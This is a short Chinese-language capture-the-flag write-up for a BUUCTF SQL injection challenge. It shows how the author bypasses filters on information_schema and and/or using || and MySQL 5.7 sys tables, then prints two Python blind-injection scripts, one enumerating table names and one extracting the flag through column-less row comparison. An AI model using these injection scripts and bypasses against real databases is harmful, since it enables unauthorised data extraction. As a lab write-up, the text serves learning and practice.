打开环境,下面有个提交表单
提交1,2有正确的查询结果,3以后都显示Error Occured When Fetch Result.
题目是sql,应该考察的是sql注入
简单fuzz一下
发现information_schema被过滤了,猜测是盲注了。
测试发现只要有东西加上and或者or都会被检测
试一下||
发现可以,再测试一下substr
可以用,写个脚本爆一下表名
但是information_schema被过滤了,这里用到MySQL5.7的新特性.
可以看一下这篇博客
Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客
脚本
import requests
url='http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81/index.php'
data='3 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
name=''
for i in range(1,90):
for j in range(32,127):
id=data.format(i,j)
post_data={'id':id}
re=requests.post(url,data=post_data)
if 'Nu1L' in re.text:
name+=chr(j)
print(name)
break
两个表users233333333333333,f1ag_1s_h3r3_hhhhh
爆字段
下面要用到无列名注入
由于mysql里面字符串比较大小只是比较第一个字符的大小,就可以利用这一点实现无列名注入
由于等于和大于是两个临界情况,得到chr要-1才对
脚本
import requests
url = 'http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81//'
flag = ''
for i in range(1,200):
for j in range(32, 127):
tmp = flag + chr(j)
id = '3||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(tmp)
data = {'id':id}
r = requests.post(url=url, data=data)
if 'Nu1L' in r.text:
flag += chr(j-1)
print(flag)
break
转个小写
拿到flag